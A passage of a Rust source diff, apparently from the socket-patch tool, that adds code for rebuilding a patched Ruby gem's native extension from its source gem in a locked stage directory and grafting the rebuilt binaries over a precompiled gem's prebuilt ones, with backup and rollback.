RubyRun::ExtensionsDir { platform } => { command.arg("extensions_dir").arg(©.home); + if let Some(platform) = platform { + command.arg(platform); + } "extensions_dir" } RubyRun::Build(probe) => { @@ -703,7 +1076,7 @@ async fn run_ruby( .arg(©.spec_path) .arg(&probe.extension_dir) .arg(&probe.require_path); - if let Some(gem_path) = gem_path_for(©.home) { + if let Some(gem_path) = gem_path_for(&[©.home]) { command.env("GEM_PATH", gem_path); } "build" @@ -719,11 +1092,44 @@ async fn run_ruby( .arg(©.home); // The installed copy's home, where the gems its build scripts // require were installed beside it. - if let Some(gem_path) = gem_path_for(©.home) { + if let Some(gem_path) = gem_path_for(&[©.home]) { command.env("GEM_PATH", gem_path); } "install" } + RubyRun::Unpack { + archive, + stage_home, + full_name, + } => { + command + .arg("unpack") + .arg(archive) + .arg(stage_home) + .arg(full_name); + "unpack" + } + RubyRun::MissingDeps { spec, stage_home } => { + command.arg("missing_deps").arg(spec); + if let Some(gem_path) = gem_path_for(&[stage_home, ©.home]) { + command.env("GEM_PATH", gem_path); + } + "missing_deps" + } + RubyRun::StageBuild { spec, stage_home } => { + command + .arg("stage_build") + .arg(spec) + .arg(stage_home) + .arg(©.home) + .arg(©.full_name); + // The stage home first: the gems the build needs and the + // install lacks were put there, and nowhere else. + if let Some(gem_path) = gem_path_for(&[stage_home, ©.home]) { + command.env("GEM_PATH", gem_path); + } + "stage_build" + } }; // A Bundler-run parent (`bundle exec`, the Bundler plugin) must not // load the project's bundle into this Ruby. @@ -891,6 +1297,10 @@ fn recover_interrupted_rebuild_sync( copy: &GemCopy, require_path: Option<&str>, ) -> std::io::Result { + // The stage of a rebuild from the source gem that never finished is + // dropped too: nothing of the copy is in it. One a live run holds is + // that run's (`WouldBlock`). + sweep_stale_stage(copy)?; let mut recovered = false; for ext in extension_dir_slots(copy) { let parked = parked_build_path(&ext); @@ -1042,6 +1452,42 @@ async fn rebuild_preflight(copy: &GemCopy, env: &RubyEnv) -> Result/` dirs, where the +/// Ruby that owns the home built its other gems. +async fn graft_preflight(copy: &GemCopy, env: &RubyEnv) -> Result { + let require_path = require_path_of(copy).await.ok_or_else(|| { + format!( + "{} does not name a require path inside the gem", + copy.spec_path.display() + ) + })?; + let candidates = ruby_candidates(copy, &env.cwd); + if candidates.is_empty() { + return Err("no `ruby` was found on PATH to rebuild it with".to_string()); + } + let installed = { + let copy = copy.clone(); + crate::utils::fs::run_blocking(move || { + let mut dirs: Vec = extension_dir_slots(©) + .iter() + .filter_map(|slot| slot.parent().map(Path::to_path_buf)) + .filter(|abi| is_real_dir(abi)) + .collect(); + dirs.dedup(); + dirs + }) + .await + }; + Ok(Preflight { + installed, + candidates, + require_path, + }) +} + /// Find the Ruby that owns `copy`'s install: the one whose extension dir /// for this gem is the installed `/extensions///` one /// (its platform and ABI). Each candidate is asked where it builds @@ -1055,7 +1501,8 @@ async fn find_ruby(copy: &GemCopy, env: &RubyEnv, preflight: Preflight) -> Resul } = preflight; let mut reasons = Vec::new(); for ruby in candidates { - let stdout = match run_ruby(&ruby, RubyRun::ExtensionsDir, copy, env, PROBE_TIMEOUT).await { + let run = RubyRun::ExtensionsDir { platform: None }; + let stdout = match run_ruby(&ruby, run, copy, env, PROBE_TIMEOUT).await { Ok(s) => s, Err(e) => { reasons.push(format!("{}: {e}", ruby.display())); @@ -1086,6 +1533,100 @@ async fn find_ruby(copy: &GemCopy, env: &RubyEnv, preflight: Preflight) -> Resul extension_dir, lib_dir: copy.gem_dir.join(&require_path), require_path, + facts: parse_ruby_facts(&stdout), + }); + } + Err(format!( + "no Ruby owning this install was found ({})", + reasons.join("; ") + )) +} + +/// Whether a gem home's leaf dir names a Ruby ABI (`3.4.0`), as the homes +/// RubyGems and Bundler lay out do (`/lib/ruby/gems/3.4.0`, +/// `vendor/bundle/ruby/3.4.0`, `~/.gem/ruby/3.4.0`). +fn abi_of_home(home: &Path) -> Option { + let leaf = home.file_name()?.to_str()?; + let versioned = leaf.starts_with(|c: char| c.is_ascii_digit()) + && leaf.contains('.') + && leaf.bytes().all(|b| b.is_ascii_digit() || b == b'.'); + versioned.then(|| leaf.to_string()) +} + +/// [`find_ruby`] for a precompiled copy of the platform `platform`, which +/// has no extension dir to match a Ruby to. The Ruby that owns it: +/// +/// * runs gems of that platform (`Gem::Platform#===`, as RubyGems picks a +/// platform gem), and +/// * builds its extensions where this gem home has some (the home's +/// `extensions//` dirs, from its other native gems); in a +/// home with none, its ABI is the one the home's dir name carries +/// (`…/ruby/3.4.0`), when it carries one. +/// +/// Its facts are part of the answer: the build is grafted over the binary +/// the gem keeps for that Ruby's `major.minor`. +async fn find_platform_ruby( + copy: &GemCopy, + env: &RubyEnv, + preflight: Preflight, + platform: &str, +) -> Result { + let Preflight { + installed, + candidates, + require_path, + } = preflight; + let mut reasons = Vec::new(); + for ruby in candidates { + let run = RubyRun::ExtensionsDir { + platform: Some(platform), + }; + let stdout = match run_ruby(&ruby, run, copy, env, PROBE_TIMEOUT).await { + Ok(s) => s, + Err(e) => { + reasons.push(format!("{}: {e}", ruby.display())); + continue; + } + }; + let (Some(extensions_dir), Some(facts)) = + (parse_extensions_dir(&stdout), parse_ruby_facts(&stdout)) + else { + reasons.push(format!("{}: unreadable probe output", ruby.display())); + continue; + }; + if facts.runs_platform != Some(true) { + reasons.push(format!( + "{} is a {} Ruby, which does not run {platform} gems", + ruby.display(), + facts.platform + )); + continue; + } + let abi = extensions_dir + .file_name() + .map(|n| n.to_string_lossy().trim_end_matches("-static").to_string()) + .unwrap_or_default(); + let owns = if !installed.is_empty() { + installed.iter().any(|dir| same_path(dir, &extensions_dir)) + } else { + abi_of_home(©.home).is_none_or(|home_abi| home_abi == abi) + }; + if !owns { + reasons.push(format!( + "{} builds extensions into {}, which is not where this gem home has its own \ + (another Ruby's)", + ruby.display(), + extensions_dir.display() + )); + continue; + } + return Ok(Probe { + ruby, + gem_dir: copy.gem_dir.clone(), + extension_dir: extensions_dir.join(©.full_name), + lib_dir: copy.gem_dir.join(&require_path), + require_path, + facts: Some(facts), }); } Err(format!( @@ -1263,6 +1804,17 @@ struct BackupInfo { had_extension_dir: bool, /// The lib copies backed up under `lib/` (paths relative to the gem dir). lib_files: Vec, + /// The backup is of a precompiled copy: `lib_files` are the prebuilt + /// binaries a build of the source gem replaced, and there is no + /// extension dir. + #[serde(default)] + grafted: bool, + /// Build inputs of the record that the precompiled copy did not ship + /// and the patch wrote into it (normalized paths): `rollback` removes + /// them instead of restoring content the copy never held + /// ([`rollback_files`]). + #[serde(default)] + absent_files: Vec, } /// [`BuildMarker::extension_dir`] for `ext_dir` (one of the copy's @@ -1328,6 +1880,7 @@ fn back_up_original(copy: &GemCopy, probe: &Probe) -> std::io::Result { extension_dir: ext_dir_label(©.home, &probe.extension_dir), had_extension_dir, lib_files, + ..BackupInfo::default() }; std::fs::write( stage.join(BACKUP_INFO), @@ -1458,21 +2011,27 @@ fn commit_build( } marker.ext_artifacts.insert(rel, hash); } - let bytes = serde_json::to_vec_pretty(&marker).map_err(std::io::Error::other)?; - let marker_path = copy.gem_dir.join(MARKER_FILE); - let stage = copy.gem_dir.join(format!("{MARKER_FILE}.tmp")); - if let Err(e) = - std::fs::write(&stage, bytes).and_then(|()| std::fs::rename(&stage, &marker_path)) - { - let _ = std::fs::remove_file(&stage); - return Err(e); - } + write_marker(copy, &marker)?; if let Some(old) = &aside.old_ext { let _ = remove_dir_if_exists(old); } Ok(()) } +/// Record `marker` in the gem dir: staged beside its place and renamed, so +/// a marker is always whole. +fn write_marker(copy: &GemCopy, marker: &BuildMarker) -> std::io::Result<()> { + let bytes = serde_json::to_vec_pretty(marker).map_err(std::io::Error::other)?; + let marker_path = copy.gem_dir.join(MARKER_FILE); + let stage = copy.gem_dir.join(format!("{MARKER_FILE}.tmp")); + let written = + std::fs::write(&stage, bytes).and_then(|()| std::fs::rename(&stage, &marker_path)); + if written.is_err() { + let _ = std::fs::remove_file(&stage); + } + written +} + /// Rebuild `copy`'s extension from the sources on disk with `probe.ruby`. /// On failure every build product is put back as it was; `Err` is the /// build's diagnostic. @@ -1546,52 +2105,970 @@ async fn rebuild( .await } -/// `name` of a `name-version[-platform]` dir, for the `gem pristine` hint: -/// the first `-` followed by a digit starts the version (gem names rarely -/// hold one). -fn gem_name_of(full_name: &str) -> &str { - let bytes = full_name.as_bytes(); - (0..bytes.len()) - .find(|&i| bytes[i] == b'-' && bytes.get(i + 1).is_some_and(u8::is_ascii_digit)) - .map_or(full_name, |i| &full_name[..i]) +/// `/.socket-patch-build/`: where a rebuild of `copy` from +/// its source gem is staged. +fn stage_root(copy: &GemCopy) -> PathBuf { + copy.home.join(BUILD_STAGE_DIR).join(©.full_name) } -fn refusal(package_key: &str, pkg_path: &Path, code: &str, detail: String) -> GemApplied { - GemApplied { - result: ApplyResult { - package_key: package_key.to_string(), - package_path: pkg_path.display().to_string(), - success: false, - files_verified: Vec::new(), - files_patched: Vec::new(), - applied_via: HashMap::new(), - error: Some(format!("{code}: {detail}")), - sidecar: None, - }, - warning: Some((code.to_string(), detail)), +/// Drop the stage a rebuild of `copy` left behind when its process was +/// interrupted or killed. Nothing of the installed copy is in a stage, so +/// one that is left is only disk space. `Err` of kind `WouldBlock`: a run +/// that is still alive holds it ([`lock_build_dir`]). +fn sweep_stale_stage(copy: &GemCopy) -> std::io::Result<()> { + let root = stage_root(copy); + if is_real_dir(&root) { + match lock_build_dir(&root) { + Ok(_lock) => crate::patch::copy_tree::force_remove_dir_all(&root)?, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => {} + Err(e) => return Err(e), + } } + // Gone with its last stage; a dir that still holds one stays. + let _ = std::fs::remove_dir(copy.home.join(BUILD_STAGE_DIR)); + Ok(()) } -fn list_inputs(scope: &NativeScope) -> String { - let shown: Vec<&str> = scope - .inputs - .iter() - .take(3) - .map(|k| normalize_file_path(k)) - .collect(); - let more = scope.inputs.len().saturating_sub(shown.len()); - if more > 0 { - format!("{} and {more} more", shown.join(", ")) - } else { - shown.join(", ") - } +/// The stage of one rebuild from a source gem, held (an advisory lock on +/// its dir) for as long as the value lives. +struct Stage { + root: PathBuf, + /// The stage gem home, `/home`: RubyGems unpacks, builds and + /// installs the build's missing dependencies here, and nowhere else. + home: PathBuf, + _lock: Option, } -/// [`apply_package_patch`] for one installed gem copy, rebuilding its -/// native extension when the record changes a build input (see the module -/// docs). A record without native inputs is applied exactly as -/// [`apply_package_patch`] applies it. -#[allow(clippy::too_many_arguments)] +/// Open an empty stage for `copy` inside its gem home. `Err` says why the +/// build cannot be staged there. +fn open_stage(copy: &GemCopy) -> Result { + let parent = copy.home.join(BUILD_STAGE_DIR); + let root = stage_root(copy); + // The stage is emptied and written under the gem home. A link planted + // where it goes would move both somewhere else. + for dir in [&parent, &root] { + if std::fs::symlink_metadata(dir).is_ok_and(|meta| !meta.is_dir()) { + return Err(format!( + "its stage directory {} is not a directory", + dir.display() + )); + } + } + let failed = |e: std::io::Error| { + if e.kind() == std::io::ErrorKind::WouldBlock { + recovery_refusal(copy, &e) + } else { + format!("a build could not be staged in {}: {e}", parent.display()) + } + }; + sweep_stale_stage(copy).map_err(failed)?; + let home = root.join("home"); + std::fs::create_dir_all(&home).map_err(failed)?; + let lock = lock_build_dir(&root).map_err(failed)?; + Ok(Stage { + root, + home, + _lock: lock, + }) +} + +/// Remove `stage`, and the stage dir of the gem home when that left it +/// empty. Best effort: a stage that stays is swept by the next run. +async fn close_stage(stage: Stage, copy: &GemCopy) { + let parent = copy.home.join(BUILD_STAGE_DIR); + crate::utils::fs::run_blocking(move || { + let _ = crate::patch::copy_tree::force_remove_dir_all(&stage.root); + let _ = std::fs::remove_dir(parent); + }) + .await; +} + +/// The fields after the key of every `\t…` line of a Ruby run's +/// output. +fn tagged_lines<'s>(stdout: &'s str, key: &str) -> Vec> { + stdout + .lines() + .filter_map(|line| { + let mut fields = line.split('\t'); + (fields.next()? == key).then(|| fields.collect()) + }) + .collect() +} + +/// A source gem unpacked into a stage home. +#[derive(Debug, Clone, PartialEq, Eq)] +struct StagedGem { + /// `/gems/`: the gem's files, as the archive + /// packs them. + gem_dir: PathBuf, + /// `/specifications/.gemspec`. + spec_path: PathBuf, +} + +/// A staged gem whose extensions RubyGems built in the stage home. +#[derive(Debug, Clone, PartialEq, Eq)] +struct StagedBuild { + gem: StagedGem, + /// The extension dir the build filled: + /// `/extensions///`. + extension_dir: PathBuf, + /// That dir relative to the stage home. + label: String, +} + +/// Why a staged gem did not build. +#[derive(Debug)] +enum StageFailure { + /// A gem its build scripts depend on is not installed and could not be + /// staged beside it. + Dependencies(String), + /// RubyGems' builder failed: the build's diagnostic. + Build(String), +} + +/// Unpack `archive` (the source gem `source`) into `stage` with the Ruby +/// that owns the copy. The archive must be that gem and declare +/// extensions; nothing of it is run. `Err` says why it cannot be the +/// source of a rebuild. +async fn unpack_in_stage( + copy: &GemCopy, + probe: &Probe, + source: &GemId, + archive: Vec, + stage: &Stage, + env: &RubyEnv, +) -> Result { + let full_name = source.full_name(); + let path = stage.root.join(format!("{full_name}.gem")); + { + let path = path.clone(); + crate::utils::fs::run_blocking(move || std::fs::write(path, archive)) + .await + .map_err(|e| format!("it could not be staged: {e}"))?; + } + let run = RubyRun::Unpack { + archive: &path, + stage_home: &stage.home, + full_name: &full_name, + }; + let stdout = run_ruby(&probe.ruby, run, copy, env, UNPACK_TIMEOUT).await?; + let unpacked = tagged_lines(&stdout, "sp_unpacked") + .into_iter() + .any(|fields| fields.first() == Some(&full_name.as_str())); + let staged = StagedGem { + gem_dir: stage.home.join("gems").join(&full_name), + spec_path: stage + .home + .join("specifications") + .join(format!("{full_name}.gemspec")), + }; + if !unpacked || !is_real_dir(&staged.gem_dir) || !staged.spec_path.is_file() { + return Err(format!( + "{}: unreadable unpack output", + probe.ruby.display() + )); + } + Ok(staged) +} + +/// Lay the record's files over the staged source gem, with the engine that +/// patches an installed copy. Every `beforeHash` is checked against the +/// pristine gem (`Strict`, whatever the run's policy for the installed +/// copy): a mismatch means the archive is not the gem the patch was written +/// for. A file the record changes and the source gem does not pack is left +/// out when it is no build input (a platform gem's own file). `Err` is the +/// engine's reason. +async fn patch_staged_gem( + read_scope: crate::utils::repo_root::ReadScope, + package_key: &str, + staged: &StagedGem, + scope: &NativeScope, + files: &HashMap, + sources: &PatchSources<'_>, +) -> Result<(), String> { + let mut staged_files = files.clone(); + for (key, info) in files { + if info.before_hash.is_empty() || scope.inputs.contains(key) { + continue; + } + let path = normalize_file_path(key); + let missing = is_safe_relative_subpath(path) + && matches!( + tokio::fs::symlink_metadata(staged.gem_dir.join(path)).await, + Err(e) if e.kind() == std::io::ErrorKind::NotFound + ); + if missing { + staged_files.remove(key); + } + } + let applied = apply_package_patch( + read_scope, + package_key, + &staged.gem_dir, + &staged_files, + sources, + false, + MismatchPolicy::Strict, + ) + .await; + if applied.success { + Ok(()) + } else { + Err(applied + .error + .unwrap_or_else(|| "the patch did not apply".to_string())) + } +} + +/// The patched content the stage is built from: the caller's in-memory +/// blobs for the record, and the bytes of every record file the installed +/// copy already holds patched. A copy whose sources an earlier run patched +/// is rebuilt from them even when their blobs are no longer on disk. +async fn stage_blobs( + pkg_path: &Path, + files: &HashMap, + sources: &PatchSources<'_>, +) -> HashMap> { + let mut out = HashMap::new(); + for (key, info) in files { + if let Some(bytes) = sources.mem_blobs.and_then(|m| m.get(&info.after_hash)) { + out.insert(info.after_hash.clone(), bytes.clone()); + continue; + } + let path = normalize_file_path(key); + if !is_safe_relative_subpath(path) { + continue; + } + if let Ok(bytes) = crate::utils::fs::read_regular_to_bytes(&pkg_path.join(path)).await { + if compute_git_sha256_from_bytes(&bytes) == info.after_hash { + out.insert(info.after_hash.clone(), bytes); + } + } + } + out +} + +/// Put the gems the staged gem's build depends on, and no gem on the +/// build's `GEM_PATH` provides, into the stage home: each is the newest +/// release its requirement allows, downloaded from the gem's source and +/// verified against that source's index, then installed there by RubyGems. +/// The user's gem home is never written. `Err` names what is missing. +async fn stage_dependencies( + copy: &GemCopy, + probe: &Probe, + source: &GemId, + staged: &StagedGem, + stage: &Stage, + gems: &GemSource, + env: &RubyEnv, +) -> Result<(), String> { + let versions = probe + .facts + .as_ref() + .map(RubyFacts::versions) + .unwrap_or_default(); + let mut bases = gems.bases(source); + let default = crate::patch::redirect::upstream::rubygems_base(); + if !bases.contains(&default) { + bases.push(default); + } + let mut staged_names: Vec = Vec::new(); + loop { + let run = RubyRun::MissingDeps { + spec: &staged.spec_path, + stage_home: &stage.home, + }; + let stdout = run_ruby(&probe.ruby, run, copy, env, PROBE_TIMEOUT).await?; + if !stdout + .lines() + .any(|line| line.trim_end() == "sp_deps_checked") + { + return Err(format!( + "{}: unreadable dependency output", + probe.ruby.display() + )); + } + let missing: Vec<(String, String)> = tagged_lines(&stdout, "sp_missing") + .into_iter() + .filter_map(|fields| Some((fields.first()?.to_string(), fields.get(1)?.to_string()))) + .collect(); + if missing.is_empty() { + return Ok(()); + } + for (name, requirement) in missing { + let needed = + format!("its build needs the gem {name} ({requirement}), which is not installed"); + if gems.offline() { + return Err(format!("{needed}, and this run is offline")); + } + // Staged a moment ago and still missing: installing it again + // would loop. + if staged_names.contains(&name) || staged_names.len() >= MAX_STAGED_DEPENDENCIES { + return Err(format!("{needed} and could not be staged for the build")); + } + let (id, bytes) = gems + .dependency(&bases, &name, &requirement, &versions) + .await + .map_err(|why| format!("{needed} and could not be downloaded ({why})"))?; + let archive = stage.root.join(format!("{}.gem", id.full_name())); + { + let archive = archive.clone(); + crate::utils::fs::run_blocking(move || std::fs::write(archive, bytes)) + .await + .map_err(|e| format!("{needed} and could not be staged ({e})"))?; + } + let run = RubyRun::Install { + archive: &archive, + stage_home: &stage.home, + }; + let stdout = run_ruby(&probe.ruby, run, copy, env, BUILD_TIMEOUT) + .await + .map_err(|why| format!("{needed} and did not install into the stage:\n{why}"))?; + if parse_installed(&stdout).is_none_or(|(full_name, _)| full_name != id.full_name()) { + return Err(format!("{needed} and did not install into the stage")); + } + staged_names.push(name); + } + } +} + +/// Build the staged gem's extensions inside the stage home, with the Ruby +/// that owns the copy and the build arguments RubyGems recorded for it. +/// Nothing of the installed copy is touched. +async fn build_staged( + copy: &GemCopy, + probe: &Probe, + source: &GemId, + staged: StagedGem, + stage: &Stage, + gems: &GemSource, + env: &RubyEnv, +) -> Result { + stage_dependencies(copy, probe, source, &staged, stage, gems, env) + .await + .map_err(StageFailure::Dependencies)?; + let run = RubyRun::StageBuild { + spec: &staged.spec_path, + stage_home: &stage.home, + }; + let stdout = run_ruby(&probe.ruby, run, copy, env, BUILD_TIMEOUT) + .await + .map_err(StageFailure::Build)?; + let built = tagged_lines(&stdout, "sp_built") + .into_iter() + .find_map(|fields| fields.first().map(PathBuf::from)) + .ok_or_else(|| { + StageFailure::Build(format!("{}: unreadable build output", probe.ruby.display())) + })?; + // The one dir RubyGems builds this gem into, inside the stage home. + let label = ext_dir_label(&stage.home, &built); + let parts: Vec<&str> = label.split('/').collect(); + let confined = parts.len() == 4 + && parts[0] == "extensions" + && parts[3] == source.full_name() + && is_safe_relative_subpath(&label); + let extension_dir = stage.home.join(&label); + if !confined || !extension_dir.join(BUILD_COMPLETE).is_file() { + return Err(StageFailure::Build(format!( + "the build exited cleanly but left no finished extension in the stage ({})", + built.display() + ))); + } + Ok(StagedBuild { + gem: staged, + extension_dir, + label, + }) +} + +/// Move the tree `from` to `to` (which is not there): a rename on one +/// filesystem, a copy across two. +fn move_tree(from: &Path, to: &Path) -> std::io::Result<()> { + if let Some(parent) = to.parent() { + std::fs::create_dir_all(parent)?; + } + match std::fs::rename(from, to) { + Ok(()) => Ok(()), + Err(_) => copy_tree_sync(from, to), + } +} + +/// A regular file, not a symlink to one. +fn is_real_file(path: &Path) -> bool { + std::fs::symlink_metadata(path).is_ok_and(|m| m.is_file()) +} + +/// Replace `dst` with the bytes of the regular file `src` ([`replace_file`]), +/// with `mode`'s permissions, or `src`'s when there is none to keep. +fn replace_with_file( + src: &Path, + dst: &Path, + mode: Option, +) -> std::io::Result<()> { + let bytes = read_regular_to_bytes_sync(src)?; + let perms = match mode { + Some(perms) => perms, + None => std::fs::metadata(src)?.permissions(), + }; + replace_file(dst, |stage| { + std::fs::write(stage, &bytes)?; + std::fs::set_permissions(stage, perms) + }) +} + +/// Put a staged build in the place of the installed copy's: the staged +/// extension dir becomes the copy's, and the `lib/` copies RubyGems made of +/// its artifacts in the stage replace the installed ones. The original +/// build is backed up first (`back_up`), the current one is parked while +/// the new one moves in, and the marker records the result, exactly as an +/// in-place [`rebuild`] leaves them. On failure the previous build is put +/// back. +fn install_staged_build( + copy: &GemCopy, + probe: &Probe, + scope: &NativeScope, + files: &HashMap, + staged: &StagedBuild, + back_up: bool, +) -> Result<(), String> { + // The stage was built by the Ruby that owns the copy, so both name the + // same `extensions///`. + if staged.label != ext_dir_label(©.home, &probe.extension_dir) { + return Err(format!( + "the staged build is in {}, not the installed extension's {}", + staged.label, + probe.extension_dir.display() + )); + } + let made_backup = if back_up { + back_up_original(copy, probe) + .map_err(|e| format!("could not back up the original extension build: {e}"))? + } else { + false + }; + let drop_new_backup = || { + if made_backup { + let _ = remove_dir_if_exists(©.gem_dir.join(BACKUP_DIR)); + } + }; + let aside = match set_aside(copy, probe) { + Ok(aside) => aside, + Err(e) => { + drop_new_backup(); + return Err(format!( + "could not move the current extension build aside: {e}" + )); + } + }; + let moved_in = (|| -> std::io::Result<()> { + move_tree(&staged.extension_dir, &probe.extension_dir)?; + for rel in artifact_rels(&probe.extension_dir) { + let Some(lib) = lib_rel(probe, &rel) else { + continue; + }; + // RubyGems copies an artifact under the require dir unless + // `Gem.install_extension_in_lib` is off: the staged gem shows + // which it did. + if is_real_file(&staged.gem.gem_dir.join(&lib)) { + replace_with_file( + &probe.extension_dir.join(&rel), + ©.gem_dir.join(&lib), + None, + )?; + } + } + commit_build(copy, probe, scope, files, &aside) + })(); + let Err(error) = moved_in else { + return Ok(()); + }; + match put_back(copy, probe, aside) { + Ok(()) => { + drop_new_backup(); + Err(format!( + "the rebuilt extension could not be moved into place: {error}" + )) + } + Err(e) => Err(format!( + "the rebuilt extension could not be moved into place: {error}\n(the previous build \ + could not be put back: {e}; run `gem pristine {} --extensions` to rebuild it)", + gem_name_of(©.full_name) + )), + } +} + +/// One prebuilt binary of a precompiled copy, and the staged artifact that +/// replaces it. +#[derive(Debug, Clone, PartialEq, Eq)] +struct Graft { + staged: PathBuf, + /// The prebuilt binary, relative to the gem dir + /// (`lib/nokogiri/3.4/nokogiri.bundle`). + target: String, +} + +/// Every regular file named `leaf` under `dir`, as paths relative to +/// `base`, `/`-separated. Symlinks are not followed. +fn files_named(dir: &Path, leaf: &str, base: &Path) -> Vec { + walkdir::WalkDir::new(dir) + .follow_links(false) + .sort_by_file_name() + .into_iter() + .flatten() + .filter(|entry| entry.file_type().is_file() && entry.file_name() == leaf) + .filter_map(|entry| { + let rel = entry.path().strip_prefix(base).ok()?; + Some( + rel.components() + .map(|c| c.as_os_str().to_string_lossy().into_owned()) + .collect::>() + .join("/"), + ) + }) + .collect() +} + +/// Match every extension the staged build produced to the prebuilt binary +/// of `copy` that Ruby loads in its place. +/// +/// A precompiled gem keeps one binary per Ruby minor in the rake-compiler +/// layout, `/

//` (nokogiri's +/// `lib/nokogiri/3.4/nokogiri.bundle`, sqlite3's +/// `lib/sqlite3/3.3/sqlite3_native.so`), where a source build has +/// `/`; the building Ruby's minor picks the one. A gem that +/// keeps a single binary elsewhere is matched by its file name when exactly +/// one file under the require path has it. `Err` when an extension has no +/// counterpart, or more than one: grafting on a guess would leave Ruby +/// loading the old code. +fn plan_graft(copy: &GemCopy, probe: &Probe, staged: &StagedBuild) -> Result, String> { + let facts = probe + .facts + .as_ref() + .ok_or_else(|| format!("{} did not say which Ruby it is", probe.ruby.display()))?; + let minor = facts.minor().ok_or_else(|| { + format!( + "{} reports the Ruby version {:?}", + probe.ruby.display(), + facts.ruby_version + ) + })?; + let built: Vec = artifact_rels(&staged.extension_dir) + .into_iter() + .filter(|rel| { + rel.rsplit_once('.') + .is_some_and(|(_, ext)| ext == facts.dlext) + }) + .collect(); + if built.is_empty() { + return Err(format!( + "the source gem's build left no .{} extension to replace a prebuilt one with", + facts.dlext + )); + } + let gem_root = canonical(©.gem_dir); + let mut grafts: Vec = Vec::new(); + for rel in built { + let (dir, leaf) = match rel.rsplit_once('/') { + Some((dir, leaf)) => (format!("{dir}/"), leaf), + None => (String::new(), rel.as_str()), + }; + let exact = format!("{}/{dir}{minor}/{leaf}", probe.require_path); + let target = if is_real_file(©.gem_dir.join(&exact)) { + exact + } else { + let mut named = files_named(&probe.lib_dir, leaf, ©.gem_dir); + match named.len() { + 1 => named.remove(0), + 0 => { + return Err(format!( + "the gem ships no prebuilt {leaf} for Ruby {minor} ({exact} is not there)" + )) + } + _ => { + return Err(format!( + "the gem ships no prebuilt {leaf} for Ruby {minor} ({exact} is not \ + there), only {}", + named.join(", ") + )) + } + } + }; + // Inside the gem dir, whatever links its tree holds. + let confined = is_safe_relative_subpath(&target) + && match (&gem_root, canonical(©.gem_dir.join(&target))) { + (Some(root), Some(path)) => path.starts_with(root), + _ => false, + }; + if !confined || grafts.iter().any(|g| g.target == target) { + return Err(format!( + "the prebuilt binary {target} cannot be told apart from another file to replace" + )); + } + grafts.push(Graft { + staged: staged.extension_dir.join(&rel), + target, + }); + } + Ok(grafts) +} + +/// Back up the prebuilt binaries a graft is about to replace to +/// [`BACKUP_DIR`], with the record's files the copy never shipped +/// (`absent`), unless a backup exists or the current binaries are +/// socket-patch's (a marker exists). An existing backup of a precompiled +/// copy learns of `absent` files it does not list. `Ok(true)` when this +/// call made the backup. +fn back_up_prebuilt(copy: &GemCopy, grafts: &[Graft], absent: &[String]) -> std::io::Result { + let backup = copy.gem_dir.join(BACKUP_DIR); + let write_info = |dir: &Path, info: &BackupInfo| -> std::io::Result<()> { + let stage = dir.join(format!("{BACKUP_INFO}.tmp")); + std::fs::write( + &stage, + serde_json::to_vec_pretty(info).map_err(std::io::Error::other)?, + )?; + std::fs::rename(&stage, dir.join(BACKUP_INFO)) + }; + if std::fs::symlink_metadata(&backup).is_ok() { + let known = read_regular_to_bytes_sync(&backup.join(BACKUP_INFO)) + .ok() + .and_then(|bytes| serde_json::from_slice::(&bytes).ok()); + if let Some(mut info) = known.filter(|info| info.grafted && is_real_dir(&backup)) { + let before = info.absent_files.len(); + for path in absent { + if !info.absent_files.contains(path) { + info.absent_files.push(path.clone()); + } + } + if info.absent_files.len() != before { + write_info(&backup, &info)?; + } + } + return Ok(false); + } + if std::fs::symlink_metadata(copy.gem_dir.join(MARKER_FILE)).is_ok() { + return Ok(false); + } + let stage = copy.gem_dir.join(format!("{BACKUP_DIR}.tmp")); + remove_dir_if_exists(&stage)?; + std::fs::create_dir_all(&stage)?; + let mut lib_files = Vec::new(); + for graft in grafts { + let src = copy.gem_dir.join(&graft.target); + let dst = stage.join("lib").join(&graft.target); + if let Some(parent) = dst.parent() { + std::fs::create_dir_all(parent)?; + } + std::fs::write(&dst, read_regular_to_bytes_sync(&src)?)?; + std::fs::set_permissions(&dst, std::fs::symlink_metadata(&src)?.permissions())?; + lib_files.push(graft.target.clone()); + } + let info = BackupInfo { + lib_files, + grafted: true, + absent_files: absent.to_vec(), + ..BackupInfo::default() + }; + write_info(&stage, &info)?; + std::fs::rename(&stage, &backup)?; + Ok(true) +} + +/// Replace each prebuilt binary with the staged build's ([`replace_file`]: +/// a Ruby that has the old one mapped keeps its pages), then record the +/// marker that attests them. A step that fails puts every binary back as +/// it was. +fn graft_binaries( + copy: &GemCopy, + scope: &NativeScope, + files: &HashMap, + grafts: &[Graft], +) -> std::io::Result<()> { + let mut previous: Vec = Vec::new(); + for graft in grafts { + let path = copy.gem_dir.join(&graft.target); + let perms = std::fs::symlink_metadata(&path)?.permissions(); + previous.push(( + graft.target.clone(), + read_regular_to_bytes_sync(&path)?, + perms, + )); + } + let grafted = (|| -> std::io::Result<()> { + let mut marker = BuildMarker { + schema: GRAFT_MARKER_SCHEMA, + grafted: true, + ..BuildMarker::default() + }; + for key in &scope.inputs { + if let Some(info) = files.get(key) { + marker.sources.insert( + normalize_file_path(key).to_string(), + info.after_hash.clone(), + ); + } + } + for (graft, (_, _, perms)) in grafts.iter().zip(&previous) { + let path = copy.gem_dir.join(&graft.target); + replace_with_file(&graft.staged, &path, Some(perms.clone()))?; + marker + .lib_artifacts + .insert(graft.target.clone(), compute_file_git_sha256_sync(&path)?); + } + write_marker(copy, &marker) + })(); + if grafted.is_err() { + for (target, bytes, perms) in &previous { + let _ = replace_file(©.gem_dir.join(target), |stage| { + std::fs::write(stage, bytes)?; + std::fs::set_permissions(stage, perms.clone()) + }); + } + } + grafted +} + +/// The record as a precompiled copy takes it: a build input the copy does +/// not ship (it is in the source gem alone, like nokogiri's `patches/**`) +/// is added to it, whatever content the record says it replaces. That +/// content is checked where it exists: in the source gem the extension is +/// rebuilt from ([`patch_staged_gem`]). Returns the record so adjusted and +/// the (normalized) paths it adds. +async fn files_for_precompiled( + copy: &GemCopy, + scope: &NativeScope, + files: &HashMap, +) -> (HashMap, Vec) { + let mut out = files.clone(); + let mut absent = Vec::new(); + for key in &scope.inputs { + let Some(info) = out.get_mut(key).filter(|i| !i.before_hash.is_empty()) else { + continue; + }; + let path = normalize_file_path(key); + let missing = is_safe_relative_subpath(path) + && matches!( + tokio::fs::symlink_metadata(copy.gem_dir.join(path)).await, + Err(e) if e.kind() == std::io::ErrorKind::NotFound + ); + if missing { + info.before_hash.clear(); + absent.push(path.to_string()); + } + } + (out, absent) +} + +/// The record's files as `rollback` undoes them on the 